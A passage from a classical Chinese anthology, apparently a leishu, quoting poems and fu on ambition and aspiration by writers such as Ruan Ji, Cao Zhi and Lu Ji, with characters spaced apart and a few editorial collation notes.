制 . 岂 与 乡 曲 士 . 携 手 共 言 誓 .\n又 曰 . 鸒 鸠 飞 桑 榆 . 海 鸟 运 天 池 . 岂 不 识 宏 大 . 羽 翼 不 相 宜 . 招 摇 安 可 翔 . 不 若 栖 树 枝 . 下 集 蓬 蒿 间 . 上 游 园 囿 篱 . 但 尔 亦 自 足 . 用 子 为 追 随 .\n又 曰 . 嘉 树 下 成 蹊 . 东 园 桃 与 李 . 秋 风 吹 飞 藿 . 零 落 从 此 始 . 繁 华 有 憔 悴 . 堂 上 生 荆 杞 .\n又 曰 . 天 马 出 西 北 . 由 来 从 东 道 . 春 秋 非 有 托 . 富 贵 焉 常 保 . 清 露 被 皋 兰 . 凝 霜 沾 野 草 .\n又 曰 . 平 生 少 年 时 . 轻 薄 好 弦 歌 . 西 游 咸 阳 中 . 赵 李 相 经 过 . 娱 乐 未 终 极 . 白 日 忽 蹉 跎 . 驱 马 复 来 归 . 反 顾 望 三 河 . 黄 金 百 镒 尽 . 资 用 常 苦 多 . 北 临 太 行 道 . 失 路 将 如 何 .\n又 曰 . 步 出 上 东 门 . 北 望 首 阳 岑 . 下 有 采 薇 士 . 上 有 嘉 树 林 . 良 辰 在 何 许 . 凝 霜 沾 衣 襟 . 寒 风 振 山 冈 . 玄 云 起 重 阴 . 鸣 雁 飞 南 征 . 鶗 鴃 发 哀 音 . 素 质 游 商 声 . 凄 怆 伤 我 心 .\n又 曰 . 昔 年 十 四 五 . 志 尚 好 书 诗 . 被 褐 怀 珠 玉 . 颜 闵 相 与 期 . 开 轩 临 四 野 . 登 高 望 所 思 . 丘 墓 蔽 山 冈 . 万 世 同 一 时 . 千 秋 百 岁 后 . 荣 名 安 所 之 .\n又 曰 . 徘 徊 蓬 池 上 . 还 顾 望 大 梁 . 渌 水 扬 洪 波 . 旷 野 渀 茫 茫 .\n又 曰 . 宁 与 燕 雀 翔 . 不 随 黄 鹄 飞 . 黄 鹄 游 四 海 . 中 路 将 安 归 .\n又 曰 . 北 里 多 奇 舞 . 濮 上 有 微 音 . 轻 薄 闲 游 子 . 俯 仰 乍 浮 沉 . 焉 见 王 子 乔 . 乘 云 翔 邓 林 . 独 有 延 年 术 . 可 用 慰 我 心 .\n又 曰 . 南 国 有 佳 人 . 容 华 若 桃 李 . 朝 游 江 北 岸 . 夕 宿 潇 湘 沚 . 时 俗 薄 朱 颜 . 谁 为 发 皓 齿 .\n又 曰 . 夜 中 不 能 寐 . 起 坐 弹 鸣 琴 . 薄 帷 鉴 明 月 . 清 风 吹 我 衿 . 孤 鸿 号 外 野 . 翔 鸟 归 北 林 . 徘 徊 将 何 见 . 忧 思 独 伤 心 . 晋 傅 玄 杂 诗 曰 . 闲 夜 微 风 起 . 明 月 照 高 台 . 清 响 呼 不 应 . 玄 景 招 不 来 . 厨 人 进 藿 茹 . 有 酒 不 盈 杯 . 安 贫 福 所 与 . 富 贵 为 祸 媒 . 金 玉 虽 高 堂 . 于 我 贱 蒿 莱 .\n晋 张 翰 诗 曰 . 暮 春 和 气 应 . 白 日 照 园 林 . 青 条 若 总 翠 . 黄 花 如 散 金 . 荣 与 壮 俱 去 . 贱 与 老 相 寻 .\n又 . 东 邻 有 一 树 . 三 纪 裁 可 拱 . 无 花 复 无 实 . 亭 亭 云 中 竦 . 隙 禽 不 为 巢 . 短 翮 莫 肯 任 .\n又 . 忽 有 一 飞 鸟 . 五 色 杂 英 华 . 一 鸣 众 鸟 至 . 再 鸣 众 鸟 罗 . 长 鸣 摇 羽 翼 . 百 鸟 互 相 和 .\n晋 张 协 诗 . 瓴 甋 夸 玙 璠 . 鱼 目 笑 明 月 . 不 见 郢 中 歌 . 能 否 居 然 别 . 阳 春 无 和 者 . 巴 人 皆 下 节 .\n又 曰 . 此 乡 非 吾 地 . 此 郭 非 吾 城 . 折 冲 俎 间 . 制 胜 在 两 楹 . 巧 迟 不 足 称 . 拙 速 乃 垂 名 .\n宋 谢 灵 运 忆 山 中 诗 曰 . 采 菱 调 易 急 . 江 南 歌 不 缓 . 楚 人 心 昔 绝 . 越 客 肠 今 断 . 断 绝 虽 殊 念 . 俱 为 归 虑 款 .\n又 诗 . 韩 亡 子 房 奋 . 秦 帝 鲁 连 耻 . 本 自 江 海 人 . 忠 义 感 君 子 .\n宋 谢 惠 连 诗 . 夕 坐 苦 多 虑 . 行 歌 践 闺 中 . 房 栊 引 倾 月 . 步 檐 结 春 风 .\n宋 鲍 昭 杂 诗 . 十 五 讽 诗 书 . 篇 翰 靡 不 通 . 弱 冠 参 多 士 . 飞 步 游 春 宫 . 侧 睹 君 子 论 . 预 见 古 人 风 . 两 说 穷 舌 端 . 五 车 摧 笔 锋 . 羞 当 白 璧 贶 . 耻 受 聊 城 功 . 晚 节 从 世 务 . 乘 鄣 远 和 戎 . 解 佩 袭 犀 渠 . 卷 帙 奉 卢 弓 . 始 愿 力 不 及 . 安 知 命 不 终 .\n齐 谢 朓 冬 绪 羁 怀 诗 曰 . 去 国 怀 丘 园 . 入 远 滞 城 阙 . 寒 灯 耿 宵 梦 . 清 镜 悲 晓 发 . 风 草 不 留 霜 . 冰 池 共 如 月 .\n梁 江 淹 效 阮 公 诗 曰 . 岁 暮 多 怀 伤 . 中 夕 弄 清 琴 . 戾 戾 曙 风 急 . 团 团 明 月 阴 . 愁 云 出 北 山 . 宿 鸟 惊 东 林 . 谁 谓 人 道 旷 . 忧 慨 自 相 寻 . 宁 知 霜 雪 后 . 独 见 竹 柏 心 .\n又 曰 . 十 五 学 诗 书 . 颜 华 常 美 好 . 不 逐 世 闲 人 . 斗 鸡 东 郊 道 . 富 贵 如 浮 云 . 金 玉 不 为 宝 . 一 旦 鶗 鴃 鸣 . 严 霜 被 劲 草 . 志 气 多 感 失 . 泣 下 沾 怀 抱 .\n又 曰 . 夕 云 映 西 山 . 蟋 蟀 吟 桑 梓 . 零 落 被 百 草 . 秋 风 吹 桃 李 . 君 子 怀 苦 心 . 感 慨 不 能 止 . 驾 言 远 行 游 . 驱 马 清 河 涘 . 寒 暑 更 进 退 . 金 石 有 终 始 . 光 色 俯 仰 闲 . 英 艳 难 久 恃 .\n梁 吴 均 咏 怀 诗 曰 . 仆 本 报 恩 人 . 走 马 救 东 秦 . 黄 龙 暗 迢 递 . 青 泥 寒 苦 辛 . 野 战 剑 锋 尽 . 攻 城 才 智 贫 . 唯 余 一 死 在 . 留 持 赠 主 人 .\n又 曰 . 元 淑 势 位 卑 . 长 卿 宦 情 寡 . 二 顷 且 营 田 . 三 钱 聊 饮 马 . 悬 风 白 云 上 . 挂 月 青 山 下 . 心 中 欲 有 言 . 未 得 忘 言 者 .\n周 庾 信 咏 怀 诗 曰 . 步 兵 未 饮 酒 . 中 散 未 弹 琴 . 萧 索 无 真 气 . 昏 昏 有 欲 心 . 涸 鲋 常 思 水 . 惊 飞 每 失 林 . 风 云 能 变 色 . 松 竹 且 悲 喑 . 由 来 不 得 意 . 何 必 往 长 岑 .\n又 曰 . 无 闷 无 不 闷 . 有 待 何 可 待 . 昏 昏 如 坐 雾 . 漫 漫 疑 行 海 . 千 年 水 未 清 . 一 代 人 先 改 . 昔 说 东 陵 侯 . 唯 见 瓜 园 在 .\n又 曰 . 畴 昔 国 士 遇 . 生 平 知 己 恩 . 直 言 殊 可 吐 . 宁 知 炭 欲 吞 . 一 顾 重 尺 璧 . 千 金 轻 一 言 . 悲 伤 刘 孺 子 . 凄 怆 史 皇 孙 . 无 因 同 武 骑 . 归 守 灞 陵 园 .\n又 曰 . 周 王 逢 郑 忿 . 楚 后 值 秦 冤 . 梯 冲 已 鹤 列 . 冀 马 忽 云 屯 . 武 安 檐 瓦 振 . 昆 阳 猛 兽 奔 . 流 星 夕 照 境 . 烽 火 夜 烧 原 . 古 狱 饶 冤 气 . 空 亭 多 枉 魂 . 天 道 或 可 问 . 微 子 不 忍 言 .\n又 曰 . 萧 条 亭 鄣 远 . 凄 怆 风 尘 多 . 关 门 临 白 狄 . 城 影 入 黄 河 . 秋 风 别 苏 武 . 寒 水 送 荆 轲 . 谁 言 气 盖 世 . 晨 起 帐 中 歌 .\n隋 颜 之 推 古 意 诗 曰 . 十 五 好 诗 书 . 二 十 弹 冠 仕 . 楚 王 赐 颜 色 . 出 入 章 华 里 . 作 赋 凌 屈 原 . 读 书 夸 左 史 . 数 从 明 月 宴 . 或 侍 朝 云 祀 . 登 山 摘 紫 芝 . 泛 江 采 绿 芷 . 歌 舞 未 终 曲 . 风 尘 闇 天 起 . 吴 师 破 九 龙 . 秦 兵 割 千 里 . 狐 兔 穴 宗 庙 . 霜 露 沾 朝 市 . 璧 入 邯 郸 宫 . 剑 去 襄 城 水 . 不 获 殉 陵 墓 . 独 生 良 足 耻 . 悯 悯 思 旧 都 . 恻 恻 怀 君 子 . 白 发 窥 明 镜 . 忧 伤 没 余 齿 .\n又 曰 . 宝 珠 出 东 国 . 美 玉 产 南 荆 . 随 侯 曜 我 色 . 卞 氏 飞 吾 声 . 已 加 明 称 物 . 复 饰 夜 光 名 . 骊 龙 旦 夕 骇 . 白 虹 朝 暮 生 . 华 彩 烛 兼 乘 . 价 直 距 连 城 . 常 悲 黄 雀 起 . 每 畏 灵 蛟 迎 . 千 刃 安 可 舍 . 一 毁 难 复 营 . 昔 为 时 所 重 . 今 为 时 所 轻 . 愿 与 浊 泥 会 . 思 将 垢 石 并 . 归 真 川 岳 下 . 抱 润 潜 其 荣 .\n【 赋 】 后 汉 冯 衍 显 志 赋 曰 . 冯 子 以 大 人 之 德 . 不 碌 碌 如 玉 . 硌 硌 如 石 . 风 兴 云 蒸 . 一 龙 一 蛇 . 合 道 翱 翔 . 与 时 变 化 . 夫 岂 守 一 节 哉 . 上 陇 阪 . 腾 高 冈 . 游 精 宇 宙 . 流 目 八 纮 . 眇 然 有 思 凌 云 之 意 . 乃 作 赋 自 广 . 命 篇 曰 显 志 云 . 开 岁 发 春 . 百 卉 含 英 . 甲 子 之 朝 兮 . 汨 吾 西 征 . 发 轸 新 丰 兮 . 徘 徊 镐 京 . 凌 飞 廉 而 太 息 . 登 平 阳 而 怀 伤 . 悲 世 俗 之 险 阨 . 哀 好 恶 之 无 常 . 弃 衡 石 而 意 量 兮 . 随 风 波 而 飞 扬 . 陟 九 嵕 而 临 嶭 . 听 泾 渭 之 波 声 . 岁 忽 忽 而 日 迈 兮 . 寿 冉 冉 而 不 与 . 耻 功 业 之 无 成 兮 . 赴 原 野 而 穷 处 . 陟 陇 山 以 逾 望 . 眇 然 览 于 八 荒 . 风 波 飘 其 并 兴 兮 . 情 惆 怅 而 增 伤 . 览 天 地 之 幽 奥 兮 . 统 万 物 之 维 纲 . 究 阴 阳 之 变 化 兮 . 昭 五 德 之 精 光 . 高 吾 冠 之 岌 岌 兮 . 长 吾 佩 之 洋 洋 . 饮 六 醴 之 清 液 . 食 五 芝 之 茂 英 . 嘉 孔 丘 之 知 命 兮 . 大 老 聃 之 贵 荣 玄 . 德 与 道 其 孰 能 宝 . 名 与 身 其 孰 亲 .\n后 汉 班 固 幽 通 赋 曰 . 系 高 顼 之 玄 胄 兮 . 氏 中 叶 之 炳 灵 . 飘 凯 风 而 蝉 蜕 兮 . 雄 朔 野 以 飏 声 . 皇 十 纪 而 鸿 渐 兮 . 有 羽 仪 于 上 京 . 魂 与 神 交 兮 . 精 诚 发 于 宵 寐 . 梦 登 山 而 回 眺 兮 . 觌 幽 人 之 髣 佛 . 惟 天 地 之 无 穷 兮 . 鲜 民 生 之 晦 在 . 纷 屯 邅 与 蹇 连 兮 . 何 艰 多 而 智 寡 . 昔 卫 叔 之 御 昆 兮 . 昆 为 寇 而 丧 予 . 管 弯 弧 欲 毙 雠 兮 . 雠 作 后 而 成 已 . 变 化 故 而 相 诡 兮 . 孰 云 豫 其 终 始 . 雍 造 怨 而 先 赏 兮 . 丁 由 惠 而 被 戮 . 栗 取 吊 于 由 吉 兮 . 王 膺 庆 于 所 蹙 . 叛 回 穴 其 若 兹 兮 . 北 叟 颇 识 其 倚 伏 . 宣 曹 兴 败 于 下 梦 兮 . 鲁 卫 名 谥 于 铭 谣 . 妣 聆 呱 而 刻 石 兮 . 许 相 理 而 鞠 条 . 道 混 成 而 自 然 兮 . 术 同 源 而 分 流 . 所 贵 圣 人 之 至 论 兮 . 顺 天 性 而 断 谊 . 物 有 欲 而 不 居 兮 . 亦 有 恶 而 不 避 . 三 仁 殊 而 一 致 兮 . 夷 惠 异 而 齐 声 . 木 偃 息 以 藩 魏 兮 . 申 重 而 存 荆 . 纪 焚 躬 以 卫 上 兮 . 皓 颐 志 而 弗 倾 . 侯 草 木 之 区 别 兮 . 苟 能 实 其 必 荣 . 要 没 世 而 不 朽 . 乃 先 民 之 所 程 . 观 天 网 之 纮 覆 兮 . 实 匪 谌 而 相 训 . 谟 先 圣 之 大 猷 兮 . 亦 邻 德 而 助 信 . 虞 韶 美 而 仪 凤 兮 . 孔 忘 味 于 千 载 . 素 文 信 而 底 麟 兮 . 汉 宾 祚 于 异 代 .\n魏 陈 王 曹 植 玄 畅 赋 曰 . 夫 富 者 非 财 也 . 贵 者 非 宝 也 . 或 有 轻 爵 禄 而 重 荣 声 者 . 或 有 受 性 命 以 殉 功 名 者 . 是 以 孔 老 异 旨 . 杨 墨 殊 义 . 聊 作 斯 赋 . 名 曰 玄 畅 . 夫 何 希 世 之 大 人 . 罄 天 壤 而 作 皇 . 该 仁 圣 之 上 义 . 据 神 位 以 统 方 . 补 五 帝 之 漏 目 . 缀 三 代 之 维 纲 . 侥 余 生 之 幸 禄 . 遘 九 二 之 嘉 祥 . 上 同 契 于 稷 . 降 合 颖 于 伊 望 . 思 荐 宝 以 继 佩 . 怨 和 璞 之 始 镌 . 思 黄 钟 以 协 律 . 怨 伶 夔 之 不 存 . 考 所 图 之 莫 合 . 怅 蕴 结 而 延 伫 . 志 鹏 举 以 补 天 . 蹶 青 云 而 奋 羽 . 舍 余 驷 而 改 驾 . 任 中 才 之 法 御 . 望 前 轨 而 致 策 . 顾 后 乘 而 安 驱 . 匪 逞 迈 之 短 修 . 取 全 真 而 保 素 . 弘 道 德 而 为 宇 . 筑 无 怨 以 作 蕃 . 播 慈 惠 以 为 圃 . 耕 柔 顺 以 为 田 . 不 媿 景 而 惭 魄 . 信 乐 天 之 何 欲 . 逸 千 载 而 流 声 . 超 贵 黎 而 度 俗 .\n又 幽 思 赋 曰 . 倚 高 台 之 曲 嵎 . 处 幽 僻 之 闲 深 . 望 翔 云 之 悠 悠 . 差 朝 济 而 夕 阴 . 顾 秋 华 之 零 落 . 感 岁 暮 而 伤 心 . 观 跃 鱼 于 南 沼 . 聆 鸣 鹤 乎 北 林 . 搦 素 笔 而 慷 慨 . 扬 大 雅 之 哀 吟 . 仰 清 风 以 叹 息 . 寄 予 思 于 悲 弦 . 信 有 心 而 在 远 . 重 登 高 以 临 川 . 何 余 心 之 烦 错 . 宁 翰 墨 之 能 传 .\n魏 刘 桢 遂 志 赋 曰 . 幸 遇 明 后 . 因 志 东 倾 . 披 此 丰 草 . 乃 命 小 生 . 生 之 小 矣 . 何 兹 云 当 . 牧 马 于 路 . 役 车 低 昂 . 怆 恨 恻 切 . 我 独 西 行 . 去 峻 溪 之 鸿 洞 . 观 日 日 于 朝 阳 . 释 藂 棘 之 余 刺 . 践 槚 林 之 柔 芳 . 皦 玉 粲 以 曜 目 . 荣 日 华 以 舒 光 . 信 此 山 之 多 灵 . 何 神 分 之 煌 煌 . 聊 且 游 观 . 周 历 高 岑 . 仰 攀 高 枝 . 侧 身 遗 阴 . 磷 磷 . 以 广 其 心 . 伊 天 皇 之 树 叶 . 必 结 根 于 仁 方 . 梢 吴 夷 于 东 隅 . 掣 畔 臣 乎 南 荆 . 戢 干 戈 于 内 库 . 我 马 絷 而 不 行 . 扬 洪 恩 于 无 涯 . 听 颂 声 之 洋 洋 . 四 寓 莫 以 无 为 . 玄 道 穆 以 普 将 . 翼 俊 乂 于 上 列 . 退 仄 陋 于 下 场 . 袭 初 服 之 芜 薉 . 托 蓬 芦 以 游 翔 . 岂 放 言 而 云 尔 . 乃 旦 夕 之 可 忘 .\n魏 丁 仪 厉 志 赋 曰 . 览 前 志 而 博 观 . 求 余 心 之 所 安 . 虽 疲 驽 而 才 弱 . 敢 舍 力 而 不 攀 . 懿 躬 稼 之 克 任 . 贱 善 射 而 陨 残 . 羡 首 阳 之 遗 誉 . 憎 千 驷 之 余 讪 . 宗 舍 藏 之 伟 节 . 薄 鼎 角 之 自 干 . 嘉 法 言 之 令 扬 . 悼 说 难 之 丧 韩 . 鉴 登 险 之 败 绩 . 顾 清 道 以 自 闲 . 瞻 亢 龙 而 惧 进 . 退 广 志 于 伐 檀 . 虽 德 厚 而 祚 卑 . 犹 不 忘 于 盘 桓 . 薰 以 芬 香 而 自 烧 . 兔 亦 取 毙 于 豪 翰 . 援 大 雅 以 为 戒 . 眺 龚 胜 而 自 叹 . 嗟 世 俗 之 参 差 . 将 未 审 乎 好 恶 . 咸 随 情 而 与 议 . 固 真 伪 以 纷 错 . 秽 杯 盂 之 周 用 . 令 瑚 琏 以 抗 阁 . 恨 骡 驴 之 进 庭 . 屏 骐 骥 于 沟 壑 . 疾 青 蝇 之 染 白 . 悲 小 弁 之 靡 托 . 恶 晨 妇 之 蒙 厚 . 痛 三 代 之 见 薄 . 惟 受 性 之 朴 拙 . 亮 未 达 乎 测 度 . 顾 钟 子 之 既 没 . 牙 辍 弦 而 不 作 . 敦 三 思 之 弥 愤 . 勤 循 墙 之 兹 恪 . 勉 夕 改 以 补 朝 . 履 日 新 而 悔 昨 .\n魏 韦 鋋 ○ 按 当 作 诞 . 叙 志 赋 曰 . 胤 鸿 烈 之 末 流 . 蒙 祖 考 之 余 德 . 奉 过 庭 之 明 训 . 纳 微 躬 于 轨 则 . 勉 四 民 之 耕 耘 . 遂 能 辩 乎 菽 麦 . 自 弱 冠 而 立 朝 . 无 匡 时 之 异 才 . 每 寤 寐 以 叹 息 . 思 损 己 而 降 阶 . 遭 大 魏 之 革 命 . 罔 群 士 于 行 职 . 虽 固 陋 之 无 用 . 犹 收 录 而 序 饰 . 历 文 武 于 机 衡 . 拥 大 珰 于 帝 侧 . 随 伦 侪 以 按 牒 . 乃 剖 符 而 封 殖 . 顾 仪 服 而 增 愤 . 心 夕 惕 以 愧 恧 . 蒙 圣 皇 之 宏 恩 . 过 待 罪 于 卿 士 . 奏 朝 请 于 朔 望 . 恭 禋 享 于 郊 祀 . 念 余 年 之 冉 冉 . 忽 一 过 其 如 驰 . 微 奇 功 以 佐 时 . 徒 旷 官 其 何 为 . 匪 逊 让 之 足 殉 . 信 神 气 之 稍 衰 . 将 诉 诚 于 明 后 . 乞 骸 骨 而 告 归 . 晋 夏 侯 惇 怀 思 赋 曰 . 何 天 地 之 悠 长 . 悼 人 生 之 短 浅 . 思 纵 欲 以 求 欢 . 苟 抑 沉 以 避 免 . 嗟 圣 王 之 制 作 . 所 以 贵 夫 善 善 . 信 循 道 以 从 法 . 何 世 路 之 迍 蹇 . 始 洁 操 以 迄 今 . 每 适 道 而 靡 违 . 思 典 言 以 摄 事 . 弗 履 过 而 循 非 . 恒 战 战 以 矜 栗 . 杜 秽 衅 而 防 微 . 敛 规 节 以 践 迹 . 冀 天 鉴 之 佑 诚 . 勤 恭 肃 以 端 厉 . 常 苦 心 而 劳 形 . 桑 榆 掩 其 薄 没 . 既 白 首 而 无 成 . 世 务 多 故 . 吾 固 甘 夫 无 为 . 名 不 足 以 为 尚 . 空 劳 秽 以 自 卑 . 永 无 事 以 安 神 . 故 幸 殁 之 无 知 .\n晋 枣 据 表 志 赋 曰 . 据 忝 职 门 下 . 在 帷 幄 之 末 . 与 群 士 斜 齐 . ○ 句 有 讹 . 全 晋 文 六 十 七 斜 作 叙 . 登 玉 陛 . 待 日 月 . 久 矣 . 出 为 冀 州 刺 史 . 犬 马 恋 主 . 既 有 微 情 . 且 志 之 所 存 . 不 能 无 言 . 因 而 赋 之 曰 . 过 承 嘉 惠 . 擢 身 泰 晨 . 俯 蹑 丹 墀 . 仰 承 三 辰 . 当 乐 夏 之 颽 南 . 蒙 朱 阳 之 和 仁 . 接 鸣 鸾 之 垂 翼 . 因 神 虬 之 光 鳞 . 浮 眇 末 之 质 . 济 吾 身 于 天 津 . 邈 卢 敖 之 所 涉 . 阶 多 士 之 遗 尘 . 登 九 垓 之 虚 轨 . 觌 汗 漫 之 威 神 . 情 飘 飘 而 凌 云 . 意 髣 佛 于 真 人 . 扶 摇 薄 于 悬 圃 . 增 城 郁 以 嵯 峨 . 被 羽 衣 之 飞 飞 . 握 若 蕙 之 芳 华 . 蹈 纠 纷 之 绝 轨 . 攀 大 椿 之 疏 柯 . 意 翘 翘 而 慕 远 . 思 濯 发 于 天 波 . 悲 落 叶 之 思 条 . 情 恋 恋 于 昊 仓 . 怀 圣 德 之 弘 施 . 情 惨 切 而 内 伤 . 感 有 莘 之 媵 臣 . 愿 致 主 于 陶 唐 .\n晋 潘 尼 怀 退 赋 曰 . 伊 畴 昔 之 怀 愤 . 思 天 飞 以 远 迹 . 望 循 涂 而 投 轨 . 溯 翔 风 以 理 翮 . 冀 云 雾 之 可 凭 . 希 天 路 之 开 辟 . 何 时 愿 之 多 违 . 奄 就 羇 以 服 役 . 困 吴 阪 之 峻 岨 . 畏 盐 车 之 严 筴 . 嗟 游 处 之 弗 遇 . 奚 郁 悒 之 难 任 . 背 宇 宙 之 寥 廓 . 罗 网 罟 之 重 深 . 常 屏 气 以 敛 迹 . 焉 游 豫 以 娱 心 . 傅 释 板 以 亮 殷 . 望 投 竿 而 相 姬 . 穷 独 善 以 全 质 . 达 兼 利 以 济 时 . 聃 安 志 于 柱 史 . 由 抗 迹 于 嵩 箕 . 理 殊 涂 而 同 归 . 虽 百 虑 其 何 思 . 敢 因 虚 以 托 谈 . 遂 逡 巡 而 造 辞 .\n晋 傅 咸 申 怀 赋 曰 . 何 天 施 之 弘 普 . 厕 瓦 砾 于 琼 锳 . 备 东 宫 之 妙 选 . 奉 储 君 之 圣 明 . 穆 穆 清 禁 . 济 济 群 英 . 鸾 翔 凤 集 . 羽 仪 上 京 . 芬 芳 并 发 . 我 秽 其 馨 . 德 音 光 宣 . 我 累 厥 声 . 岂 伊 不 媿 . 顾 影 惭 形 . 虽 自 百 于 殒 越 . 惧 恩 隆 而 命 轻 . 命 既 轻 而 才 下 . 谅 无 补 于 明 时 . 塞 贤 哲 之 显 路 . 而 尘 损 之 日 滋 . 匪 荣 而 忘 替 . 实 结 恋 之 有 违 . 忍 厚 颜 于 寮 类 . 甘 获 戾 而 受 讥 . 不 悟 皇 恩 之 弥 崇 . 授 大 县 乎 近 畿 . 畿 云 近 而 防 远 . 情 眷 眷 而 含 悲 . 悲 则 兼 怀 . 忧 虑 寔 深 . 雍 可 南 面 . 千 载 晞 心 . 微 微 小 子 . 斯 之 莫 任 . 莫 斯 之 任 . 求 仁 在 我 . 将 反 初 服 . 毕 志 训 雅 . 尽 乌 鸟 之 至 情 . 竭 欢 敬 于 膝 下 . 进 抗 疏 以 归 诚 . 退 抽 簪 而 脂 车 . 庶 所 乞 之 克 从 . 永 收 迹 于 蓬 庐 .\n晋 曹 摅 述 志 赋 曰 . 慕 浮 云 以 抗 操 . 箪 食 之 自 娱 . 羡 首 阳 之 皎 节 . 叹 南 山 之 高 疏 . 哀 夫 差 之 溷 惑 . 咏 楚 怀 之 失 图 . 悲 伍 员 之 沉 悴 . 痛 屈 平 之 无 辜 . 嘉 沮 溺 之 隐 约 . 羡 接 舆 之 狂 歌 . 顾 大 雅 之 先 智 . 纬 明 哲 之 所 经 . 微 见 机 而 遂 逝 . 比 舍 生 而 亲 名 . 道 殊 涂 而 同 归 . 要 逾 世 而 并 荣 . 舜 拘 忤 于 焚 廪 . 孔 怵 惕 于 陈 匡 . 纷 迍 蹇 之 若 斯 . 何 遭 命 之 可 常 . 情 恍 惚 以 回 迷 . 梦 乘 云 而 飞 飏 . 驾 麟 凤 之 靡 靡 . 截 龙 旗 之 洋 洋 . 周 九 州 而 骋 目 . 登 四 岳 而 永 望 . 承 圣 而 砥 砺 . 奋 羽 仪 而 翱 翔 . 被 兰 戺 之 芳 华 . 带 钟 山 之 玉 英 . 饰 吾 冠 之 岌 岌 . 美 吾 佩 之 玲 玲 . 悲 盛 衰 之 递 处 . 情 悠 悠 以 纡 结 . 揽 萱 草 以 掩 泪 . 曾 一 叹 而 九 咽 .\n晋 陆 机 遂 志 赋 曰 . 昔 崔 篆 作 诗 . 以 明 道 述 志 . 而 冯 衍 又 作 显 志 赋 . 班 固 作 幽 通 赋 . 皆 相 依 仿 焉 . 张 衡 思 玄 . 蔡 邕 玄 表 . 张 叔 哀 系 . 此 前 世 之 可 得 言 者 也 . 崔 氏 简 而 有 情 . 显 志 壮 而 泛 滥 . 哀 系 俗 而 时 靡 . 玄 表 雅 而 微 素 . 思 玄 精 练 而 何 ○ 集 作 和 . 惠 . 欲 丽 前 人 . 而 优 游 清 典 . 漏 ○ 疑 当 作 陋 . 幽 通 矣 . 班 生 彬 彬 . 切 而 不 绞 . 哀 而 不 怨 矣 . 崔 蔡 冲 虚 温 敏 . 雅 人 之 属 也 . 衍 抑 扬 顿 挫 . 怨 之 徒 也 . 岂 亦 穷 达 异 事 . 而 声 为 情 变 乎 . 余 备 托 作 者 之 末 . 聊 复 用 心 焉 . 武 定 鼎 于 洛 汭 . 胡 受 瑞 于 汝 坟 . 繇 鸣 凤 于 百 祀 . 启 敬 仲 乎 方 震 . 苟 天 光 之 所 照 . 岂 舜 族 其 必 陈 . 厌 禋 祀 于 故 墟 . 飨 禴 祭 于 东 邻 . 祢 八 叶 而 松 茂 . 舞 九 韶 乎 降 神 . 系 姜 叟 于 海 曲 . 表 沧 流 以 远 震 . 仰 前 踪 之 绵 邈 . 岂 孤 人 之 能 胄 . 匪 世 禄 之 敢 怀 . 伤 兹 堂 之 不 构 . 理 或 睽 而 后 合 . 道 有 夷 而 弗 顺 . 傅 栖 岩 而 神 交 . 伊 荷 鼎 以 自 进 . 萧 绸 缪 于 丰 沛 . 故 攀 龙 而 先 跃 . 陈 倾 覆 于 楚 魏 . 亦 陵 霄 以 自 濯 . 伍 被 刑 而 伏 剑 . 魏 和 戎 而 拥 乐 . 彼 殊 涂 而 并 致 . 此 同 川 而 偏 溺 . 祸 无 景 而 易 逢 . 福 有 时 而 难 学 . 惟 万 物 之 运 动 . 虽 纷 纠 而 相 袭 . 随 性 类 以 曲 成 . 故 圆 行 而 方 立 . 要 信 心 而 委 命 . 援 前 脩 以 自 呈 . 拟 遗 迹 于 成 轨 . 咏 新 曲 于 故 声 . 任 穷 达 以 逝 止 . 亦 进 仕 而 退 耕 . 庶 斯 言 之 不 渝 . 抱 耿 介 以 成 名 . 又 怀 土 赋 曰 . 余 去 家 渐 久 . 怀 土 弥 笃 . 方 思 之 殷 . 何 物 不 感 . 曲 街 委 巷 . 罔 不 兴 咏 . 水 泉 草 木 . 咸 足 悲 焉 . 故 述 斯 赋 . 背 故 都 之 沃 衍 . 适 新 邑 之 丘 墟 . 遵 黄 川 以 葺 宇 . 被 苍 林 而 卜 居 . 悼 孤 生 之 已 晏 . 恨 亲 没 之 何 速 . 排 虚 房 而 永 念 . 想 遗 尘 其 如 玉 . 眇 绵 邈 而 莫 觏 . 徒 伫 立 其 焉 属 . 感 亡 景 于 存 物 . 惋 隤 年 于 拱 木 . 悲 顾 眄 而 有 余 . 思 俯 仰 而 自 足 . 留 兹 情 于 江 介 . 寄 瘁 貌 于 海 曲 . 玩 通 川 以 悠 想 . 抚 归 涂 而 踯 躅 . 伊 踯 躅 之 徒 勤 . 惨 归 途 之 良 难 . 愍 栖 鸟 于 南 枝 . 吊 离 禽 于 别 山 . 念 庭 树 以 悟 怀 . 忆 路 草 而 解 颜 . 甘 堇 荼 于 饴 茈 . 纬 萧 艾 其 如 兰 . 神 何 寝 而 不 梦 . 形 何 兴 而 不 言 .\n梁 元 帝 玄 览 赋 曰 . 岁 次 旃 蒙 . 月 建 司 空 . 变 蕤 宾 之 吕 . 扇 广 莫 之 风 . 萧 子 褰 帷 九 水 . 作 牧 三 宫 . 乃 盱 衡 而 言 曰 . 唯 天 为 大 . 唯 尧 则 之 . 唯 地 为 厚 . 唯 王 国 之 . 粤 羲 皇 之 握 镜 . 实 乃 神 而 乃 圣 . 陈 六 联 于 八 则 . 弘 九 职 于 三 令 . 惟 天 纵 于 副 后 . 逾 启 诵 而 为 首 . 既 论 儒 而 肃 成 . 复 断 狱 于 长 寿 . 尔 其 湘 水 之 东 . 即 我 龟 蒙 . 魏 正 元 而 分 邑 . 吴 太 平 而 定 中 . 镇 鳞 山 之 崔 嵬 . 傍 龙 迹 而 穹 隆 . 将 游 目 于 五 湖 . 夕 结 览 于 姑 苏 . 临 阊 门 之 跨 水 . 耸 重 阙 而 开 都 . 观 泉 亭 之 涌 波 . 窟 巍 巍 而 峨 峨 . 张 素 盖 而 萦 洲 屿 . 驰 白 马 而 赴 江 沱 . 登 舜 桥 而 延 首 . 暇 禹 井 而 淹 留 . 御 史 之 床 犹 在 . 督 护 之 门 不 脩 . 详 夫 皇 王 爰 处 . 本 无 定 所 . 尧 都 平 阳 . 舜 在 冀 方 . 商 王 居 亳 . 成 周 卜 洛 . 故 知 黄 旗 紫 盖 . 域 中 为 大 . 天 地 之 所 合 . 风 云 之 所 会 . 爰 八 命 而 建 旟 . 诚 非 亲 而 勿 居 . 应 鸣 鞞 于 龙 角 . 覆 缇 幕 于 熊 车 . 经 钓 台 而 高 迈 . 过 鄂 渚 而 西 浮 . 变 青 门 之 三 袭 . 为 黄 尘 之 一 丘 . 临 章 华 而 留 眄 . 见 旧 楚 之 凄 凉 . 试 